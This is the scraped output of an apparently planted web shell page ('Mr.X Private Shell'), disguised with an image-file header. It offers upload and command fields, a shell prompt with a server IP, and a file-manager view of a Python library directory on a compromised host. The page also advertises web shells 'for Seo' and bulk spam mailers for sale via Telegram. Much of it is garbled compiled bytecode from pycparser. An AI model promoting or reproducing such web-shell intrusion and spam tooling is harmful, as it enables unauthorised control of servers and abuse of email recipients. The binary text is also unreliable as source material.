����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

��_^@�@s ddlmZdd�Zdd�ZdS)�)�c_astcCs�t|jtj�s|St�g|jj�}d}|jjp0gD]\}t|tjtjf�rl|j�|�t	||j�|jd}q2|dur�|j�|�q2|j
�|�q2||_|S)a� The 'case' statements in a 'switch' come out of parsing with one
        child node, so subsequent statements are just tucked to the parent
        Compound. Additionally, consecutive (fall-through) case statements
        come out messy. This is a peculiarity of the C grammar. The following:

            switch (myvar) {
                case 10:
                    k = 10;
                    p = k + 1;
                    return 10;
                case 20:
                case 30:
                    return 20;
                default:
                    break;
            }

        Creates this tree (pseudo-dump):

            Switch
                ID: myvar
                Compound:
                    Case 10:
                        k = 10
                    p = k + 1
                    return 10
                    Case 20:
                        Case 30:
                            return 20
                    Default:
                        break

        The goal of this transform is to fix this mess, turning it into the
        following:

            Switch
                ID: myvar
                Compound:
                    Case 10:
                        k = 10
                        p = k + 1
                        return 10
                    Case 20:
                    Case 30:
                        return 20
                    Default:
                        break

        A fixed AST node is returned. The argument may be modified.
    N���)�
isinstanceZstmtrZCompoundZcoordZblock_items�Case�Default�append�_extract_nested_case�stmts)Zswitch_nodeZnew_compoundZ	last_case�child�r�</usr/lib/python3.9/site-packages/pycparser/ast_transforms.py�fix_switch_cases
s4r
cCs:t|jdtjtjf�r6|�|j���t|d|�dS)z� Recursively extract consecutive Case statements that are made nested
        by the parser and add them to the stmts_list.
    �rN)rr	rrrr�popr)Z	case_nodeZ
stmts_listrrrrcsrN)�rr
rrrrr�<module>
sV

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 2.43 KB 0644
__init__.cpython-39.pyc File 2.43 KB 0644
_ast_gen.cpython-39.opt-1.pyc File 9.95 KB 0644
_ast_gen.cpython-39.pyc File 9.95 KB 0644
_build_tables.cpython-39.opt-1.pyc File 501 B 0644
_build_tables.cpython-39.pyc File 501 B 0644
ast_transforms.cpython-39.opt-1.pyc File 2.42 KB 0644
ast_transforms.cpython-39.pyc File 2.44 KB 0644
c_ast.cpython-39.opt-1.pyc File 34.33 KB 0644
c_ast.cpython-39.pyc File 34.33 KB 0644
c_generator.cpython-39.opt-1.pyc File 16.28 KB 0644
c_generator.cpython-39.pyc File 16.3 KB 0644
c_lexer.cpython-39.opt-1.pyc File 11.58 KB 0644
c_lexer.cpython-39.pyc File 11.58 KB 0644
c_parser.cpython-39.opt-1.pyc File 58.95 KB 0644
c_parser.cpython-39.pyc File 59.05 KB 0644
lextab.cpython-39.opt-1.pyc File 5.46 KB 0644
lextab.cpython-39.pyc File 5.46 KB 0644
plyparser.cpython-39.opt-1.pyc File 4.54 KB 0644
plyparser.cpython-39.pyc File 4.54 KB 0644
yacctab.cpython-39.opt-1.pyc File 144.65 KB 0644
yacctab.cpython-39.pyc File 144.65 KB 0644